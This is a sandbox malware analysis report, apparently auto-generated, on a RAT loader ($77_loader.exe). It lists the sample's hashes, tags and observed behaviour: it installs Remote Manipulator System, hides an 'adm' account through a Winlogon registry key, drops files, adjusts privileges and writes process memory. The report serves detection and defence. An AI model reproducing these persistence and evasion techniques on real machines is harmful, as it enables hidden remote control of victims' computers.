Malware Analysis Report

2024-11-13 16:21

Sample ID 220519-b3n5ksbcbm
Target $77_loader.exe
SHA256 3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4
Tags
rms discovery evasion persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4

Threat Level: Known bad

The file $77_loader.exe was found to be: Known bad.

Malicious Activity Summary

rms discovery evasion persistence rat trojan

RMS

Executes dropped EXE

Sets file execution options in registry

Downloads MZ/PE file

Blocklisted process makes network request

Loads dropped DLL

Checks installed software on the system

Modifies WinLogon

Enumerates connected drives

Modifies powershell logging option

Drops file in Program Files directory

Drops file in Windows directory

Enumerates physical storage devices

Suspicious use of SetWindowsHookEx

Modifies registry class

Suspicious behavior: EnumeratesProcesses

Suspicious use of WriteProcessMemory

Modifies data under HKEY_USERS

Gathers network information

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2022-05-19 01:40

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2022-05-19 01:40

Reported

2022-05-19 01:42

Platform

win7-20220414-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"

Signatures

RMS

trojan rat rms

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A

Downloads MZ/PE file

Sets file execution options in registry

persistence

Checks installed software on the system

discovery

Enumerates connected drives

Description Indicator Process Target
File opened (read-only) \??\P: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\V: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\W: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\B: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\E: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\F: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\M: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Z: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\I: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\T: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\U: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Y: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\R: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\S: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\G: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\N: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\O: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\Q: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\L: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\X: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\A: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\H: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\J: C:\Windows\system32\msiexec.exe N/A
File opened (read-only) \??\K: C:\Windows\system32\msiexec.exe N/A

Modifies WinLogon

persistence
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\adm = "0" C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A

Modifies powershell logging option

evasion

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisdecoder.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\RIPCServer.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\fwproc.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unidrv_rms.hlp C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\webmmux.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Russian.lg C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unires_vpd.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rmsui.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms.lng C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms_s.lng C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\VPDAgent_x64.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unidrvui_rms.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\RWLN.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\progress.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\SampleClient.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms.lng C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms_s.lng C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms.ini C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rmsui2.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\stdnames_vpd.gpd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rmspm.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rmsui.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\fwproc.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\install.cmd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unidrv_rms.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\progress.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unidrv_rms.hlp C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\stdnames_vpd.gpd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\vp8encoder.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rms.gpd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\English.lg C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\VPDAgent.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\uninstall.cmd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms.gpd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rmsui2.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\setupdrv.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\EULA.rtf C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\srvinst_x64.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\rmspm.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\ntprint.inf C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\vp8decoder.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unidrv_rms.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\ntprint.inf C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\srvinst.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\unidrvui_rms.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\uninstall.cmd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\rms.ini C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x86\install.cmd C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisencoder.dll C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\setupdrv.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Program Files (x86)\Remote Manipulator System - Host\Printer\x64\unires_vpd.dll C:\Windows\system32\msiexec.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\UNINST_Uninstall_R_3B1E3C8B7D0945898DA82CEEED02F0C7.exe C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_stop_27D7873393984316BEA10FB36BB4D2F9.exe C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\SoftwareDistribution\config.xml C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
File opened for modification C:\Windows\Installer\6d2b94.msi C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\6d2b96.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI332D.tmp C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\6d2b98.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\ARPPRODUCTICON.exe C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_start_C00864331B9D4391A8A26292A601EBE2.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\ARPPRODUCTICON.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_stop_27D7873393984316BEA10FB36BB4D2F9.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_config_C8E9A92497A149D695F92E4E3AE550F0.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\SoftwareDistribution\config.xml C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
File created C:\Windows\Installer\6d2b94.msi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_config_C8E9A92497A149D695F92E4E3AE550F0.exe C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\server_start_C00864331B9D4391A8A26292A601EBE2.exe C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\6d2b96.ipi C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\MSI306E.tmp C:\Windows\system32\msiexec.exe N/A
File opened for modification C:\Windows\Installer\ C:\Windows\system32\msiexec.exe N/A
File created C:\Windows\Installer\{D9E14363-FD66-419D-9DC9-C62471755C9F}\UNINST_Uninstall_R_3B1E3C8B7D0945898DA82CEEED02F0C7.exe C:\Windows\system32\msiexec.exe N/A

Enumerates physical storage devices

Gathers network information

Description Indicator Process Target
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A
N/A N/A C:\Windows\system32\NETSTAT.EXE N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E C:\Windows\system32\msiexec.exe N/A
Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2E C:\Windows\system32\msiexec.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\PackageCode = "EE22CCA5812A64F4CB23B29D2A4A798E" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Version = "115998720" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Net C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\36341E9D66DFD914D99C6C421757C5F9 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\ProductName = "Remote Manipulator System - Host" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Assignment = "1" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\AdvertiseFlags = "388" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\InstanceType = "0" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\AuthorizedLUAApp = "0" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17\36341E9D66DFD914D99C6C421757C5F9 C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Media C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Language = "1049" C:\Windows\system32\msiexec.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\DeploymentFlags = "3" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\509B38EF4554FFD4794F292971C81B17 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Media\DiskPrompt = "[1]" C:\Windows\system32\msiexec.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\Clients = 3a0000000000 C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\36341E9D66DFD914D99C6C421757C5F9\RMS C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\ProductIcon = "C:\\Windows\\Installer\\{D9E14363-FD66-419D-9DC9-C62471755C9F}\\ARPPRODUCTICON.exe" C:\Windows\system32\msiexec.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\PackageName = "rms.host6.3ru_mod.msi" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\7ZipSfx.000\\" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\Media\1 = "DISK1;1" C:\Windows\system32\msiexec.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\36341E9D66DFD914D99C6C421757C5F9\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\7ZipSfx.000\\" C:\Windows\system32\msiexec.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe N/A
N/A N/A C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\NETSTAT.EXE N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeCreateTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAssignPrimaryTokenPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLockMemoryPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeMachineAccountPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTcbPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreatePermanentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeAuditPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeChangeNotifyPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeSyncAgentPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeEnableDelegationPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeImpersonatePrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeCreateGlobalPrivilege N/A C:\Windows\SysWOW64\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\system32\msiexec.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\system32\msiexec.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 388 wrote to memory of 1880 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 388 wrote to memory of 1880 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 388 wrote to memory of 1880 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
PID 1880 wrote to memory of 1464 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1880 wrote to memory of 1464 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 1880 wrote to memory of 1464 N/A C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
PID 388 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\chcp.com
PID 388 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\chcp.com
PID 388 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\chcp.com
PID 388 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 944 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\netsh.exe
PID 388 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1200 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1128 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
PID 388 wrote to memory of 1640 N/A C:\Users\Admin\AppData\Local\Temp\$77_loader.exe C:\Windows\system32\NETSTAT.EXE
